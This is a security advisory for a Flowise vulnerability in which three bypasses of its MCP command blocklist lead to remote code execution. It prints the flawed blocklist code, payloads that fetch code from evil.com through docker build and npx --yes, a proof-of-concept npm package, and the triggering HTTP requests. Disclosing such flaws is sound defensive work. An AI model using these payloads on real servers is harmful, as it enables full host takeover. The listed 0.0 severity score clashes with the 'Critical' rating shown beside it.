GHSA-m99r-2hxc-cp3q CVE-2026-56274
Flowise has an MCP Security Bypass that Enables RCE
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 7.52%
- Chance of exploitation in the next 30 days. Higher than 94.50% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-184 Incomplete List of Disallowed Inputs
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods
Details
【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution
The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine
Precondition:
- Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
- The deployment environment has the docker command
Vulnerable function - validateCommandFlags:
file: packages/components/nodes/tools/MCP/core.ts:260-310
const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
docker: [
'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
'--security-opt', '--network', '--pid', '--ipc'
// 'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist
],
npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
// ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
for (const arg of args) {
if (blacklist.includes(arg)) {
return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
}
}
return { valid: true }
}
Reproduction process:
Add MCP config via UI or API interface, for example:
<img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" />
Then execute:
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
After execution, the command can be triggered to execute docker build http://evil.com
<img width="1280" height="319" alt="f98e1d91428be6077ac6cf0472285f17" src="https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0" />
If a privileged container is deployed, then it can fully control the Flowise host machine
【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution
The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server
Precondition:
- Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows
- The deployment environment has the npx command
npx blocklist:
file: packages/components/nodes/tools/MCP/core.ts:270-280
npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
// Only the short parameter -y is present, without the long parameter alias --yes
Reproduction process: Add MCP config via UI or API interface, for example:
<img width="1910" height="690" alt="85ea14ea224df9ed501827dfa47afb09" src="https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6" />
{
"command": "npx",
"args":["--yes", "http://evil.com/FileName.tar"]
}
Contents of the tar file:
// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');
const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);
// package.json
{
"name": "attacker-mcp-pkg",
"version": "1.0.0",
"bin": {
"attacker-mcp-pkg": "./index.js"
},
"scripts": {
"postinstall": ""
}
}
Then execute:
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
can trigger the vulnerability, execute the attacker's commands, and achieve RCE:
<img width="3026" height="256" alt="4c466067deb4606a38e4b73806661328" src="https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9" />
node command bypassing local file restrictions leads to remote code execution
When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE
Precondition: Have a Flowise account
Analysis of Vulnerable Code:
// packages/components/nodes/tools/MCP/core.ts:177-220
export const validateArgsForLocalFileAccess = (args: string[]): void => {
const dangerousPatterns = [
// Absolute paths
/^\/[^/]/, // Unix absolute paths starting with /
/^[a-zA-Z]:\\/, // Windows absolute paths like C:\
// Relative paths that could escape current directory
/\.\.\//, // Parent directory traversal with ../
/\.\.\\/, // Parent directory traversal with ..\
/^\.\./, // Starting with ..
// Local file access patterns
/^\.\//, // Current directory with ./
/^~\//, // Home directory with ~/
/^file:\/\//, // File protocol
// Common file extensions that shouldn't be accessed
/\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,
// File flags and options that could access local files
/^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
/^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
]
The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^/[^/]/" has a matching issue
As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')
<img width="1280" height="570" alt="ea354264cbb2ace6a3a6a16e00f1d298" src="https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a" />
Therefore, the limitation of this function can be bypassed by starting with //
** Reproduction process: **
Create a new chatflow as follows:
<img width="1280" height="716" alt="7e884613b5897509b39467f8f3b7aae1" src="https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92" />
After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory
orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:
<img width="1280" height="702" alt="48b5ab8412babba312f502be5db1dad3" src="https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b" />
For example:
~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js
Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:
<img width="1280" height="716" alt="990e1c81ed3957c5ae823e55efec15a5" src="https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99" />
POST /api/v1/export-import/import HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 479
{
"ChatMessage": [
{
"id": "11111111-2222-4333-8444-555555555555",
"role": "userMessage",
"chatflowid": "{chatflow_id}",
"content": "seed for home path test",
"chatType": "EXTERNAL",
"chatId": "audit-home-001",
"createdDate": "2026-03-04T06:40:00.000Z",
"fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]"
}
]
}
<img width="1280" height="748" alt="d7f947940f4e6b6e95a61bcc301c25c0" src="https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10" />
POST /api/v1/export-import/chatflow-messages HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 57
{"chatflowId":"{chatflow_id}"}
After obtaining the absolute path, simply modify the path in args to the path of the file name:
{
"command": "node",
"args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"]
}
After saving, execution will trigger RCE
POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17
{"question": "1"}
Impact
This vulnerability allows attackers to execute arbitrary commands on the Flowise server .
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| flowise | < 3.1.2 |
3.1.2 |
| flowise-components | < 3.1.2 |
3.1.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
flowise npm → 3.1.2
- npm
npm install flowise@3.1.2- yarn
yarn add flowise@3.1.2- pnpm
pnpm add flowise@3.1.2
flowise-components npm → 3.1.2
- npm
npm install flowise-components@3.1.2- yarn
yarn add flowise-components@3.1.2- pnpm
pnpm add flowise-components@3.1.2
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 9.9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-184: Incomplete List of Disallowed Inputs
The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
How to prevent it
- Implementation: Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-w7x8-q2gp-5cgg Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass | Critical | Also affects flowise |
| GHSA-9gvv-qjj3-2p6g Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium | High | Also affects flowise |
| GHSA-qgvm-j2hm-6m38 Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service | Critical | Also affects flowise |
| GHSA-5xvg-pmgg-3mxr Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability | Critical | Also affects flowise |
| GHSA-gmmw-qg98-6j6p Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation | High | Also affects flowise |
| GHSA-8gj2-2cvc-6xx7 Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials | Medium | Also affects flowise |
| GHSA-fm2f-4339-4p2f Flowise: Missing Authorization on Execution Update Endpoint | Medium | Also affects flowise |
| GHSA-wch5-xp77-fxg4 Flowise: Cross-Workspace OAuth2 Credential Metadata Leak | High | Also affects flowise |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor